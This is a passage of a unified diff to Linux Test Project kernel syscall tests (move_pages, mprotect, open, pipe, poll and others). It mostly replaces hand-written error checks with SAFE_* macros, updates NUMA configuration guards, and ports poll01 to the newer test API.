+++ b/testcases/kernel/syscalls/move_pages/move_pages12.c
@@ -43,7 +43,7 @@
 #include "move_pages_support.h"
 #include "lapi/mmap.h"
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 
 #define LOOPS	1000
 #define PATH_MEMINFO	"/proc/meminfo"
@@ -267,5 +267,5 @@
 };
 
 #else
-	TST_TEST_TCONF("move_pages support not found");
+	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
 #endif
diff --git a/testcases/kernel/syscalls/move_pages/move_pages_support.c b/testcases/kernel/syscalls/move_pages/move_pages_support.c
index a488c88..31f7496 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages_support.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages_support.c
@@ -16,6 +16,7 @@
  *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
+#include "config.h"
 #include <sys/mman.h>
 #include <sys/syscall.h>
 #include <unistd.h>
@@ -35,8 +36,7 @@
  */
 void free_pages(void **pages, unsigned int num)
 {
-
-#if HAVE_NUMA_H
+#ifdef HAVE_NUMA_V2
 	int i;
 	size_t onepage = get_page_size();
 
@@ -63,7 +63,7 @@
 int alloc_pages_on_nodes(void **pages, unsigned int num, int *nodes)
 {
 	int i;
-#if HAVE_NUMA_ALLOC_ONNODE
+#ifdef HAVE_NUMA_V2
 	size_t onepage = get_page_size();
 #endif
 
@@ -74,7 +74,7 @@
 	for (i = 0; i < num; i++) {
 		char *page;
 
-#if HAVE_NUMA_ALLOC_ONNODE
+#ifdef HAVE_NUMA_V2
 		pages[i] = numa_alloc_onnode(onepage, nodes[i]);
 #endif
 		if (pages[i] == NULL) {
@@ -111,7 +111,7 @@
 {
 	int nodes[num];
 
-#if HAVE_NUMA_H
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	unsigned int n = 0;
 	int num_allowed_nodes;
@@ -168,7 +168,7 @@
 void
 verify_pages_on_nodes(void **pages, int *status, unsigned int num, int *nodes)
 {
-#if HAVE_NUMA_H
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int which_node;
 	int ret;
@@ -214,7 +214,7 @@
  */
 void verify_pages_linear(void **pages, int *status, unsigned int num)
 {
-#if HAVE_NUMA_H
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	unsigned int n = 0;
 	int nodes[num];
@@ -269,7 +269,7 @@
  */
 int alloc_shared_pages_on_node(void **pages, unsigned int num, int node)
 {
-#if HAVE_NUMA_H
+#ifdef HAVE_NUMA_V2
 	char *shared;
 	unsigned int i;
 	int nodes[num];
@@ -392,7 +392,7 @@
  */
 void check_config(unsigned int min_nodes)
 {
-#if HAVE_NUMA_H && HAVE_NUMAIF_H
+#ifdef HAVE_NUMA_V2
 	int num_allowed_nodes;
 	int ret;
 
diff --git a/testcases/kernel/syscalls/mprotect/mprotect01.c b/testcases/kernel/syscalls/mprotect/mprotect01.c
index d514b13..7c4f10e 100644
--- a/testcases/kernel/syscalls/mprotect/mprotect01.c
+++ b/testcases/kernel/syscalls/mprotect/mprotect01.c
@@ -43,6 +43,7 @@
 #include <stdlib.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "mprotect01";
 int TST_TOTAL = 3;
@@ -136,9 +137,7 @@
 
 static void setup3(struct test_case *self)
 {
-	fd = open("/etc/passwd", O_RDONLY);
-	if (fd < 0)
-		tst_brkm(TBROK, cleanup, "open failed");
+	fd = SAFE_OPEN(cleanup, "/etc/passwd", O_RDONLY);
 	
 	self->len = getpagesize();
 
diff --git a/testcases/kernel/syscalls/mprotect/mprotect02.c b/testcases/kernel/syscalls/mprotect/mprotect02.c
index 31455c7..de9b4ea 100644
--- a/testcases/kernel/syscalls/mprotect/mprotect02.c
+++ b/testcases/kernel/syscalls/mprotect/mprotect02.c
@@ -96,8 +96,7 @@
 			exit(255);
 		}
 
-		if (waitpid(pid, &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid failed");
+		SAFE_WAITPID(cleanup, pid, &status, 0);
 		if (!WIFEXITED(status))
 			tst_brkm(TBROK, cleanup, "child exited abnormally "
 				 "with status: %d", status);
@@ -127,9 +126,7 @@
 				exit(0);
 			}
 
-			if (waitpid(pid, &status, 0) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "waitpid failed");
+			SAFE_WAITPID(cleanup, pid, &status, 0);
 
 			if (WIFEXITED(status) &&
 			    WEXITSTATUS(status) == 0)
diff --git a/testcases/kernel/syscalls/mprotect/mprotect03.c b/testcases/kernel/syscalls/mprotect/mprotect03.c
index 4bda261..28f54c9 100644
--- a/testcases/kernel/syscalls/mprotect/mprotect03.c
+++ b/testcases/kernel/syscalls/mprotect/mprotect03.c
@@ -120,15 +120,9 @@
 		}
 
 		/* clean up things in case we are looping */
-		if (munmap(addr, strlen(buf)) == -1) {
-			tst_brkm(TBROK, cleanup, "munamp failed");
-		}
-		if (close(fd) == -1) {
-			tst_brkm(TBROK, cleanup, "close failed");
-		}
-		if (unlink(file1) == -1) {
-			tst_brkm(TBROK, cleanup, "unlink failed");
-		}
+		SAFE_MUNMAP(cleanup, addr, strlen(buf));
+		SAFE_CLOSE(cleanup, fd);
+		SAFE_UNLINK(cleanup, file1);
 	}
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/mremap/mremap01.c b/testcases/kernel/syscalls/mremap/mremap01.c
index d63d1e4..16519a2 100644
--- a/testcases/kernel/syscalls/mremap/mremap01.c
+++ b/testcases/kernel/syscalls/mremap/mremap01.c
@@ -82,6 +82,7 @@
 #include <fcntl.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TEMPFILE	"mremapfile"
 
@@ -230,9 +231,7 @@
 		tst_brkm(TBROK | TERRNO, NULL, "munmap failed");
 
 	/* Close the temporary file */
-	if (close(fildes) < 0) {
-		tst_brkm(TBROK, NULL, "closing %s failed", TEMPFILE);
-	}
+	SAFE_CLOSE(NULL, fildes);
 
 	tst_rmdir();
 }
diff --git a/testcases/kernel/syscalls/mremap/mremap05.c b/testcases/kernel/syscalls/mremap/mremap05.c
index 079f281..d7e4e63 100644
--- a/testcases/kernel/syscalls/mremap/mremap05.c
+++ b/testcases/kernel/syscalls/mremap/mremap05.c
@@ -41,6 +41,7 @@
 #include <errno.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "mremap05";
 
@@ -119,8 +120,7 @@
 
 static void free_test_area(void *p, int size)
 {
-	if (munmap(p, size) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "free_test_area munmap");
+	SAFE_MUNMAP(cleanup, p, size);
 }
 
 static void *get_test_area(int size, int free_area)
diff --git a/testcases/kernel/syscalls/msync/msync03.c b/testcases/kernel/syscalls/msync/msync03.c
index 8bd35be..2e072ca 100644
--- a/testcases/kernel/syscalls/msync/msync03.c
+++ b/testcases/kernel/syscalls/msync/msync03.c
@@ -132,8 +132,7 @@
 	addr2 = addr1 + 1;
 
 	/* addr3 is outside the address space of the process */
-	if (getrlimit(RLIMIT_DATA, &rl) < 0)
-		tst_brkm(TBROK | TERRNO, NULL, "getrlimit failed");
+	SAFE_GETRLIMIT(NULL, RLIMIT_DATA, &rl);
 	addr3 = (char *)rl.rlim_max;
 
 #if !defined(UCLINUX)
diff --git a/testcases/kernel/syscalls/msync/msync04.c b/testcases/kernel/syscalls/msync/msync04.c
index 4f70ca1..9dec3c1 100644
--- a/testcases/kernel/syscalls/msync/msync04.c
+++ b/testcases/kernel/syscalls/msync/msync04.c
@@ -109,5 +109,6 @@
 	.needs_root = 1,
 	.mntpoint = "msync04",
 	.mount_device = 1,
+	.all_filesystems = 1,
 	.min_kver = "2.6.25",
 };
diff --git a/testcases/kernel/syscalls/munlockall/munlockall02.c b/testcases/kernel/syscalls/munlockall/munlockall02.c
index 648ab78..f979054 100644
--- a/testcases/kernel/syscalls/munlockall/munlockall02.c
+++ b/testcases/kernel/syscalls/munlockall/munlockall02.c
@@ -70,6 +70,7 @@
 #include <pwd.h>
 #include <sys/mman.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -126,10 +127,7 @@
 		tst_brkm(TBROK, NULL, "\"nobody\"user not present");
 	}
 
-	if (seteuid(ltpuser->pw_uid) == -1) {
-		tst_brkm(TBROK, NULL, "seteuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
-	}
+	SAFE_SETEUID(NULL, ltpuser->pw_uid);
 
 	TEST_PAUSE;
 }
diff --git a/testcases/kernel/syscalls/munmap/munmap01.c b/testcases/kernel/syscalls/munmap/munmap01.c
index 62dbaff..2a5cfc9 100644
--- a/testcases/kernel/syscalls/munmap/munmap01.c
+++ b/testcases/kernel/syscalls/munmap/munmap01.c
@@ -75,6 +75,7 @@
 #include <sys/mman.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TEMPFILE	"mmapfile"
 
@@ -181,10 +182,7 @@
 	 * move the file pointer to maplength position from the beginning
 	 * of the file.
 	 */
-	if (lseek(fildes, map_len, SEEK_SET) == -1) {
-		tst_brkm(TBROK, cleanup, "lseek() fails on %s, errno=%d : %s",
-			 TEMPFILE, errno, strerror(errno));
-	}
+	SAFE_LSEEK(cleanup, fildes, map_len, SEEK_SET);
 
 	/* Write one byte into temporary file */
 	if (write(fildes, "a", 1) != 1) {
diff --git a/testcases/kernel/syscalls/munmap/munmap02.c b/testcases/kernel/syscalls/munmap/munmap02.c
index 7f1d9f4..b432505 100644
--- a/testcases/kernel/syscalls/munmap/munmap02.c
+++ b/testcases/kernel/syscalls/munmap/munmap02.c
@@ -76,6 +76,7 @@
 #include <sys/mman.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TEMPFILE	"mmapfile"
 
@@ -185,10 +186,7 @@
 	 * move the file pointer to maplength position from the beginning
 	 * of the file.
 	 */
-	if (lseek(fildes, map_len, SEEK_SET) == -1) {
-		tst_brkm(TBROK, cleanup, "lseek() fails on %s, errno=%d : %s",
-			 TEMPFILE, errno, strerror(errno));
-	}
+	SAFE_LSEEK(cleanup, fildes, map_len, SEEK_SET);
 
 	/* Write one byte into temporary file */
 	if (write(fildes, "a", 1) != 1) {
@@ -263,16 +261,10 @@
 	map_len = map_len - page_sz;
 
 	/* unmap the portion of the region of the file left unmapped */
-	if (munmap(addr, map_len) < 0) {
-		tst_brkm(TBROK, NULL,
-			 "munmap() fails to unmap portion of mapped region");
-	}
+	SAFE_MUNMAP(NULL, addr, map_len);
 
 	/* Close the temporary file */
-	if (close(fildes) < 0) {
-		tst_brkm(TBROK, NULL, "close() on %s Failed, errno=%d : %s",
-			 TEMPFILE, errno, strerror(errno));
-	}
+	SAFE_CLOSE(NULL, fildes);
 
 	tst_rmdir();
 }
diff --git a/testcases/kernel/syscalls/nanosleep/nanosleep01.c b/testcases/kernel/syscalls/nanosleep/nanosleep01.c
index 6d90a60..bcec1f8 100644
--- a/testcases/kernel/syscalls/nanosleep/nanosleep01.c
+++ b/testcases/kernel/syscalls/nanosleep/nanosleep01.c
@@ -47,6 +47,6 @@
 }
 
 static struct tst_test test = {
-	.tid = "nanosleep()",
+	.scall = "nanosleep()",
 	.sample = sample_fn,
 };
diff --git a/testcases/kernel/syscalls/nanosleep/nanosleep02.c b/testcases/kernel/syscalls/nanosleep/nanosleep02.c
index 8ee22b4..42c8251 100644
--- a/testcases/kernel/syscalls/nanosleep/nanosleep02.c
+++ b/testcases/kernel/syscalls/nanosleep/nanosleep02.c
@@ -36,6 +36,7 @@
 #include <inttypes.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "nanosleep02";
 int TST_TOTAL = 1;
@@ -92,10 +93,7 @@
 		sleep(1);
 
 		/* Now send signal to child */
-		if (kill(cpid, SIGINT) < 0) {
-			tst_brkm(TBROK, NULL,
-				 "kill() fails send signal to child");
-		}
+		SAFE_KILL(NULL, cpid, SIGINT);
 
 		tst_record_childstatus(NULL, cpid);
 	}
diff --git a/testcases/kernel/syscalls/nanosleep/nanosleep03.c b/testcases/kernel/syscalls/nanosleep/nanosleep03.c
index 291396b..456e140 100644
--- a/testcases/kernel/syscalls/nanosleep/nanosleep03.c
+++ b/testcases/kernel/syscalls/nanosleep/nanosleep03.c
@@ -33,6 +33,7 @@
 #include <sys/wait.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "nanosleep03";
 int TST_TOTAL = 1;
@@ -81,10 +82,7 @@
 		sleep(1);
 
 		/* Now send signal to child */
-		if (kill(cpid, SIGINT) < 0) {
-			tst_brkm(TBROK, NULL,
-				 "kill() fails send signal to child");
-		}
+		SAFE_KILL(NULL, cpid, SIGINT);
 
 		/* Wait for child to execute */
 		wait(&status);
diff --git a/testcases/kernel/syscalls/open/open03.c b/testcases/kernel/syscalls/open/open03.c
index 7e82a9a..aa15ee9 100644
--- a/testcases/kernel/syscalls/open/open03.c
+++ b/testcases/kernel/syscalls/open/open03.c
@@ -31,6 +31,7 @@
 #include <string.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 
 static void setup(void);
 static void cleanup(void);
@@ -63,12 +64,8 @@
 				 "open(%s, O_RDWR|O_CREAT,0700) returned %ld",
 				 fname, TEST_RETURN);
 
-			if (close(fd) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "close(%s) failed", fname);
-			else if (unlink(fname) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "unlink(%s) failed", fname);
+			SAFE_CLOSE(cleanup, fd);
+			SAFE_UNLINK(cleanup, fname);
 		}
 	}
 
diff --git a/testcases/kernel/syscalls/open/open05.c b/testcases/kernel/syscalls/open/open05.c
index 2577a34..051aec3 100644
--- a/testcases/kernel/syscalls/open/open05.c
+++ b/testcases/kernel/syscalls/open/open05.c
@@ -129,9 +129,7 @@
 
 	sprintf(fname, "file.%d", getpid());
 
-	fd = open(fname, O_RDWR | O_CREAT, 0700);
-	if (fd == -1)
-		tst_brkm(TBROK, cleanup, "open() failed, errno: %d", errno);
+	fd = SAFE_OPEN(cleanup, fname, O_RDWR | O_CREAT, 0700);
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/open/open07.c b/testcases/kernel/syscalls/open/open07.c
index 8d99ae5..f36db00 100644
--- a/testcases/kernel/syscalls/open/open07.c
+++ b/testcases/kernel/syscalls/open/open07.c
@@ -65,6 +65,7 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include "test.h"
+#include "safe_macros.h"
 
 static void setup(void);
 static void cleanup(void);
@@ -162,12 +163,9 @@
 
 	sprintf(file1, "open03.1.%d", getpid());
 	sprintf(file2, "open03.2.%d", getpid());
-	fd1 = creat(file1, 00700);
-	if (fd1 < 0)
-		tst_brkm(TBROK, cleanup, "creat(2) failed: errno: %d", errno);
+	fd1 = SAFE_CREAT(cleanup, file1, 00700);
 
-	if (symlink(file1, file2) < 0)
-		tst_brkm(TBROK, cleanup, "symlink(2) failed: errno: %d", errno);
+	SAFE_SYMLINK(cleanup, file1, file2);
 
 	strcpy(TC[0].filename, file2);
 }
@@ -178,11 +176,9 @@
 
 	sprintf(file1, "open03.3.%d", getpid());
 	sprintf(file2, "open03.4.%d", getpid());
-	if (mkdir(file1, 00700) < 0)
-		tst_brkm(TBROK, cleanup, "mkdir(2) failed: errno: %d", errno);
+	SAFE_MKDIR(cleanup, file1, 00700);
 
-	if (symlink(file1, file2) < 0)
-		tst_brkm(TBROK, cleanup, "symlink(2) failed: errno: %d", errno);
+	SAFE_SYMLINK(cleanup, file1, file2);
 
 	strcpy(TC[1].filename, file2);
 }
@@ -194,15 +190,11 @@
 	sprintf(file1, "open03.5.%d", getpid());
 	sprintf(file2, "open03.6.%d", getpid());
 	sprintf(file3, "open03.7.%d", getpid());
-	fd2 = creat(file1, 00700);
-	if (fd2 < 0)
-		tst_brkm(TBROK, cleanup, "creat(2) failed: errno: %d", errno);
+	fd2 = SAFE_CREAT(cleanup, file1, 00700);
 
-	if (symlink(file1, file2) < 0)
-		tst_brkm(TBROK, cleanup, "symlink(2) failed: errno: %d", errno);
+	SAFE_SYMLINK(cleanup, file1, file2);
 
-	if (symlink(file2, file3) < 0)
-		tst_brkm(TBROK, cleanup, "symlink(2) failed: errno: %d", errno);
+	SAFE_SYMLINK(cleanup, file2, file3);
 
 	strcpy(TC[2].filename, file3);
 }
@@ -214,14 +206,11 @@
 	sprintf(file1, "open03.8.%d", getpid());
 	sprintf(file2, "open03.9.%d", getpid());
 	sprintf(file3, "open03.10.%d", getpid());
-	if (mkdir(file1, 00700) < 0)
-		tst_brkm(TBROK, cleanup, "mkdir(2) failed: errno: %d", errno);
+	SAFE_MKDIR(cleanup, file1, 00700);
 
-	if (symlink(file1, file2) < 0)
-		tst_brkm(TBROK, cleanup, "symlink(2) failed: errno: %d", errno);
+	SAFE_SYMLINK(cleanup, file1, file2);
 
-	if (symlink(file2, file3) < 0)
-		tst_brkm(TBROK, cleanup, "symlink(2) failed: errno: %d", errno);
+	SAFE_SYMLINK(cleanup, file2, file3);
 
 	strcpy(TC[3].filename, file3);
 }
@@ -232,11 +221,9 @@
 
 	sprintf(file1, "open11.3.%d", getpid());
 	sprintf(file2, "open12.4.%d", getpid());
-	if (mkdir(file1, 00700) < 0)
-		tst_brkm(TBROK, cleanup, "mkdir(2) failed: errno: %d", errno);
+	SAFE_MKDIR(cleanup, file1, 00700);
 
-	if (symlink(file1, file2) < 0)
-		tst_brkm(TBROK, cleanup, "symlink(2) failed: errno: %d", errno);
+	SAFE_SYMLINK(cleanup, file1, file2);
 
 	strcpy(TC[4].filename, file2);
 	strcat(TC[4].filename, "/");
diff --git a/testcases/kernel/syscalls/open/open08.c b/testcases/kernel/syscalls/open/open08.c
index 6580b0c..d55d8e6 100644
--- a/testcases/kernel/syscalls/open/open08.c
+++ b/testcases/kernel/syscalls/open/open08.c
@@ -57,6 +57,7 @@
 #include <signal.h>
 #include <pwd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 static void setup(void);
 static void cleanup(void);
@@ -140,21 +141,14 @@
 
 	/* Switch to nobody user for correct error code collection */
 	ltpuser = getpwnam(nobody_uid);
-	if (setgid(ltpuser->pw_gid) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "setgid(%d) failed",
-			 ltpuser->pw_gid);
-	} else if (setuid(ltpuser->pw_uid) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "setuid(%d) failed",
-			 ltpuser->pw_uid);
-	}
+	SAFE_SETGID(NULL, ltpuser->pw_gid);
+	SAFE_SETUID(NULL, ltpuser->pw_uid);
 
 	tst_tmpdir();
 
 	sprintf(filename, "open3.%d", getpid());
 
-	fildes = creat(filename, 0600);
-	if (fildes == -1)
-		tst_brkm(TBROK, cleanup, "Can't creat %s", filename);
+	fildes = SAFE_CREAT(cleanup, filename, 0600);
 
 	close(fildes);
 
diff --git a/testcases/kernel/syscalls/open/open11.c b/testcases/kernel/syscalls/open/open11.c
index 6a3b0b8..78002f3 100644
--- a/testcases/kernel/syscalls/open/open11.c
+++ b/testcases/kernel/syscalls/open/open11.c
@@ -74,6 +74,7 @@
 #include <string.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "open11";
 
@@ -372,9 +373,7 @@
 	tst_tmpdir();
 
 	/* Create test files */
-	fd = open(T_REG, O_WRONLY | O_CREAT, 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create %s failed", T_REG);
+	fd = SAFE_OPEN(cleanup, T_REG, O_WRONLY | O_CREAT, 0644);
 	ret = write(fd, T_MSG, sizeof(T_MSG));
 	if (ret == -1) {
 		close(fd);
@@ -382,30 +381,13 @@
 	}
 	close(fd);
 
-	fd = creat(T_REG_EMPTY, 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create %s failed",
-			 T_REG_EMPTY);
+	fd = SAFE_CREAT(cleanup, T_REG_EMPTY, 0644);
 	close(fd);
 
-	ret = link(T_REG, T_LINK_REG);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Hard link %s -> %s failed",
-			 T_REG, T_LINK_REG);
-
-	ret = symlink(T_REG, T_SYMLINK_REG);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Symlink %s -> %s failed",
-			 T_REG, T_SYMLINK_REG);
-
-	ret = mkdir(T_DIR, 0755);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "mkdir %s failed", T_DIR);
-
-	ret = symlink(T_DIR, T_SYMLINK_DIR);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Symlink %s -> %s failed",
-			 T_DIR, T_SYMLINK_DIR);
+	SAFE_LINK(cleanup, T_REG, T_LINK_REG);
+	SAFE_SYMLINK(cleanup, T_REG, T_SYMLINK_REG);
+	SAFE_MKDIR(cleanup, T_DIR, 0755);
+	SAFE_SYMLINK(cleanup, T_DIR, T_SYMLINK_DIR);
 
 	ret = mknod(T_DEV, S_IFCHR, makedev(1, 5));
 	if (ret == -1)
diff --git a/testcases/kernel/syscalls/openat/openat02.c b/testcases/kernel/syscalls/openat/openat02.c
index 580b086..e2eefda 100644
--- a/testcases/kernel/syscalls/openat/openat02.c
+++ b/testcases/kernel/syscalls/openat/openat02.c
@@ -172,8 +172,7 @@
 
 	SAFE_CLOSE(cleanup, TEST_RETURN);
 
-	if (wait(&status) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "wait() failed");
+	SAFE_WAIT(cleanup, &status);
 
 	if (WIFEXITED(status)) {
 		switch ((int8_t)WEXITSTATUS(status)) {
diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c
index 5c814b6..5568035 100644
--- a/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c
+++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c
@@ -149,7 +149,8 @@
 
 	TEST(perf_event_open(&pe, 0, -1, -1, 0));
 	if (TEST_RETURN == -1) {
-		if (TEST_ERRNO == ENOENT || TEST_ERRNO == EOPNOTSUPP) {
+		if (TEST_ERRNO == ENOENT || TEST_ERRNO == EOPNOTSUPP ||
+		    TEST_ERRNO == ENODEV) {
 			tst_resm(TCONF | TTERRNO,
 			         "perf_event_open for %s not supported",
 			         tc->config_name);
diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
index 7d54cbd..13a1794 100644
--- a/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
+++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
@@ -160,8 +160,8 @@
 	for (i = 0; i < MAX_CTRS; i++) {
 		fdarry[i] = perf_event_open(&hw_event, 0, -1, -1, 0);
 		if (fdarry[i] == -1) {
-			if (errno == ENOENT) {
-				tst_brkm(TCONF, cleanup,
+			if (errno == ENOENT || errno == ENODEV) {
+				tst_brkm(TCONF | TERRNO, cleanup,
 				         "PERF_COUNT_HW_INSTRUCTIONS not supported");
 			}
 			tst_brkm(TBROK | TERRNO, cleanup,
diff --git a/testcases/kernel/syscalls/pipe/pipe04.c b/testcases/kernel/syscalls/pipe/pipe04.c
index dc3dead..b3d255b 100644
--- a/testcases/kernel/syscalls/pipe/pipe04.c
+++ b/testcases/kernel/syscalls/pipe/pipe04.c
@@ -49,6 +49,7 @@
 #include <sys/types.h>
 #include <sys/wait.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "pipe04";
 int TST_TOTAL = 1;
@@ -95,9 +96,7 @@
 		/* reset tst_count in case we are looping */
 		tst_count = 0;
 
-		if (pipe(fildes) == -1)
-			tst_brkm(TBROK, cleanup, "pipe() failed - errno %d",
-				 errno);
+		SAFE_PIPE(cleanup, fildes);
 
 		if ((c1pid = FORK_OR_VFORK()) == -1)
 			tst_brkm(TBROK, cleanup, "fork() failed - "
diff --git a/testcases/kernel/syscalls/pipe/pipe09.c b/testcases/kernel/syscalls/pipe/pipe09.c
index 226083b..a4b2f82 100644
--- a/testcases/kernel/syscalls/pipe/pipe09.c
+++ b/testcases/kernel/syscalls/pipe/pipe09.c
@@ -51,6 +51,7 @@
 #include <sys/wait.h>
 #include <errno.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define	PIPEWRTCNT	100	/* must be an even number */
 
@@ -119,8 +120,7 @@
 
 		/* parent */
 
-		if (waitpid(fork_1, &wtstatus, 0) == -1)
-			tst_brkm(TBROK, cleanup, "waitpid failed");
+		SAFE_WAITPID(cleanup, fork_1, &wtstatus, 0);
 		if (WIFEXITED(wtstatus) && WEXITSTATUS(wtstatus) != 0) {
 			tst_brkm(TBROK, cleanup, "child exited abnormally");
 		}
@@ -146,8 +146,7 @@
 
 		/* parent */
 
-		if (waitpid(fork_2, &wtstatus, 0) == -1)
-			tst_brkm(TBROK, cleanup, "waitpid failed");
+		SAFE_WAITPID(cleanup, fork_2, &wtstatus, 0);
 		if (WEXITSTATUS(wtstatus) != 0) {
 			tst_brkm(TBROK, cleanup, "problem detected in child, "
 				 "wait status %d, errno = %d", wtstatus, errno);
diff --git a/testcases/kernel/syscalls/pipe/pipe11.c b/testcases/kernel/syscalls/pipe/pipe11.c
index f6fa564..e11c556 100644
--- a/testcases/kernel/syscalls/pipe/pipe11.c
+++ b/testcases/kernel/syscalls/pipe/pipe11.c
@@ -146,10 +146,10 @@
 		for (i = 1; i <= kidid; ++i) {
 			wait(&status);
 			if (status == 0) {
-				tst_resm(TPASS, "child %d exitted successfully",
+				tst_resm(TPASS, "child %d exited successfully",
 					 i);
 			} else {
-				tst_resm(TFAIL, "child %d exitted with bad "
+				tst_resm(TFAIL, "child %d exited with bad "
 					 "status", i);
 			}
 		}
diff --git a/testcases/kernel/syscalls/poll/poll01.c b/testcases/kernel/syscalls/poll/poll01.c
index c641f52..f11022b 100644
--- a/testcases/kernel/syscalls/poll/poll01.c
+++ b/testcases/kernel/syscalls/poll/poll01.c
@@ -28,19 +28,12 @@
 #include <sys/wait.h>
 #include <sys/poll.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
 #define BUF_SIZE	512
 
-char *TCID = "poll01";
-int TST_TOTAL = 2;
-
 static int fildes[2];
 
-static void setup(void);
-static void cleanup(void);
-
 static void verify_pollout(void)
 {
 	struct pollfd outfds[] = {
@@ -50,16 +43,16 @@
 	TEST(poll(outfds, 1, -1));
 
 	if (TEST_RETURN == -1) {
-		tst_resm(TFAIL | TTERRNO, "poll() POLLOUT failed");
+		tst_res(TFAIL | TTERRNO, "poll() POLLOUT failed");
 		return;
 	}
 
 	if (outfds[0].revents != POLLOUT) {
-		tst_resm(TFAIL | TTERRNO, "poll() failed to set POLLOUT");
+		tst_res(TFAIL | TTERRNO, "poll() failed to set POLLOUT");
 		return;
 	}
 
-	tst_resm(TPASS, "poll() POLLOUT");
+	tst_res(TPASS, "poll() POLLOUT");
 }
 
 static void verify_pollin(void)
@@ -71,58 +64,56 @@
 		{.fd = fildes[0], .events = POLLIN},
 	};
 
-	SAFE_WRITE(cleanup, 1, fildes[1], write_buf, sizeof(write_buf));
+	SAFE_WRITE(1, fildes[1], write_buf, sizeof(write_buf));
 
 	TEST(poll(infds, 1, -1));
 
 	if (TEST_RETURN == -1) {
-		tst_resm(TFAIL | TTERRNO, "poll() POLLIN failed");
+		tst_res(TFAIL | TTERRNO, "poll() POLLIN failed");
 		goto end;
 	}
 
 	if (infds[0].revents != POLLIN) {
-		tst_resm(TFAIL, "poll() failed to set POLLIN");
+		tst_res(TFAIL, "poll() failed to set POLLIN");
 		goto end;
 	}
 
 
-	tst_resm(TPASS, "poll() POLLIN");
+	tst_res(TPASS, "poll() POLLIN");
 
 end:
-	SAFE_READ(cleanup, 1, fildes[0], read_buf, sizeof(write_buf));
+	SAFE_READ(1, fildes[0], read_buf, sizeof(write_buf));
 }
 
-int main(int ac, char **av)
+void verify_poll(unsigned int n)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	switch (n) {
+	case 0:
 		verify_pollout();
+	break;
+	case 1:
 		verify_pollin();
+	break;
 	}
-
-	cleanup();
-	tst_exit();
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	SAFE_PIPE(NULL, fildes);
+	SAFE_PIPE(fildes);
 }
 
 static void cleanup(void)
 {
-	if (close(fildes[0]))
-		tst_resm(TWARN | TERRNO, "failed to close fildes[0]");
+	if (fildes[0] > 0)
+		SAFE_CLOSE(fildes[0]);
 
-	if (close(fildes[1]))
-		tst_resm(TWARN | TERRNO, "failed to close fildes[1]");
+	if (fildes[1] > 0)
+		SAFE_CLOSE(fildes[1]);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_poll,
+	.tcnt = 2,
+};
diff --git a/testcases/kernel/syscalls/poll/poll02.c b/testcases/kernel/syscalls/poll/poll02.c
index 0aa228c..b85df29 100644
--- a/testcases/kernel/syscalls/poll/poll02.c
+++ b/testcases/kernel/syscalls/poll/poll02.c
@@ -64,7 +64,7 @@
 }
 
 static struct tst_test test = {
-	.tid = "poll()",
+	.scall = "poll()",
 	.sample = sample_fn,
 	.setup = setup,
 	.cleanup = cleanup,
diff --git a/testcases/kernel/syscalls/pread/pread01.c b/testcases/kernel/syscalls/pread/pread01.c
index 94c9d94..607fc33 100644
--- a/testcases/kernel/syscalls/pread/pread01.c
+++ b/testcases/kernel/syscalls/pread/pread01.c
